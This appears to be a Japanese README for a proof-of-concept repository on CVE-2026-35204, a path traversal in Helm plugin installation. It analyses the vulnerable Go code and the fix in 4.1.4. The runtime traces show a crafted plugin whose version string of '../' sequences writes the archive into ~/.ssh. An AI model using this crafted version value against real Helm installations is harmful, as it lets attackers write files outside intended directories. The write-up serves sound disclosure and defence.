
Helm プラグインインストールのパストラバーサル脆弱性(CVE-2026-35204)を実証する概念実証。巧妙に細工されたプラグインメタデータを介して任意のファイル書き込みを可能にします。
このリポジトリは CVE-2026-35204 の PoC です
「Helm は Kubernetes 用の Charts のパッケージマネージャーです。4.0.0 から 4.1.3 において、細工された Helm プラグインがインストールまたは更新されると、Helm はプラグインの内容を任意のファイルシステム上の場所に書き込んでしまいます。これを防ぐには、Helm プラグインの plugin.yaml に POSIX のドットドットパス区切り文字、すなわち "/../" を含む version: フィールドが含まれていないことを検証してください。この脆弱性は 4.1.4 で修正されています。」
この PoC は、metadata.Version がプラグインアーカイブのパスを構築するために使用され、パストラバーサルを可能にし、ダウンロードされた plugin.tgz を意図されたプラグインディレクトリの外に書き込むことを示しています。プラグインの内容はインストール前に指定されたキャッシュディレクトリに展開されるため、この PoC は任意の展開や任意のホストファイルの上書きを示すものではありません。
脆弱性は CWE-22 - パス名の制限されたディレクトリへの不適切な制限(「パストラバーサル」)に分類されます。
Helm プラグインインストーラーには 4 つの実装(HTTP、local、VCS、OCI)を持つインターフェースがあります。この PoC は HTTP インストーラーに焦点を当てています。HTTP/OCI インストーラーとは異なり、VCS インストーラーは metadata.Version から tarball パスを構築しません。以下は tarballPath を準備するコードブロックです:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
ここで metadata.Version は plugin.yaml で制御できる変数です。脆弱性をトリガーするには、細工したプラグインを .tgz アーカイブにパッケージ化する必要があります。その metadata.Version が plugin.ExtractTgzPluginMetadata によって抽出され、HTTP/OCI/local インストーラー経由でダウンロードされるからです。したがって、パストラバーサルを達成するには、Web サーバーによって提供されるアーカイブとしてプラグインを取得する http_installer を使用できます。
以下の例では、helm バイナリがログメッセージを有効にするために手動で再ビルドされており、2 つの異なるデータフローを観察できます。First は正しいバージョン名でのプラグインインストールです。Second はバージョン名にドットドットパス区切り文字を含むプラグインインストールです:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
ランタイムトレースは、パストラバーサルがダウンロードされたプラグインアーカイブが配置される場所、つまり基本的に HELM_PLUGINS 環境変数にのみ影響することを示しています。キャッシュ(i.CacheDir)と最終的な展開(i.Path())は変更されません。これを踏まえると、一時アーカイブの保存先とその名前を操作してファイル書き込みを引き起こすことができます。
何かを実行したり、インストール後の Webhook を使用したりする必要はなく、単純なプラグインインストールだけで脆弱性をトリガーできます。
HTTP インストーラーの分析中に、アーカイブの展開は i.CacheDir に対して行われ、インストール(fs.CopyDir)は i.CacheDir から i.Path() にファイルをコピーすることを観察しました。トラバーサルの影響を受けた tarballPath がアーカイブの内容に影響するコードパスは見つかりませんでした。したがって、分析されたランタイムトレースに基づくと、アーカイブの展開先はトラバーサルで制御された tarballPath とは独立しています。
アドバイザリではインストールと更新の両方に言及しています。HTTP/local/VCS インストーラーでは、Update() は実装されていません。OCI インストーラーは、以前のプラグインを削除した後に Install() を呼び出すことで更新を実装しています。
以下は HTTP インストーラーの Update() メソッドです:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
脆弱性を軽減するために、isValidSemver 関数が追加され、metadata.go 内の Validate() が呼び出されたときに呼び出されるようになりました。
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
ご覧のとおり、バージョンが有効な semver でない場合(そして ../../../../ はそうではありません)、悪意のある helm プラグインのインストールプロセス中にエラーが発生します。
PoC を実行するには scripts/pos.sh スクリプトを使用できます:
./scripts/poc.sh
以下のような結果になります:

MIT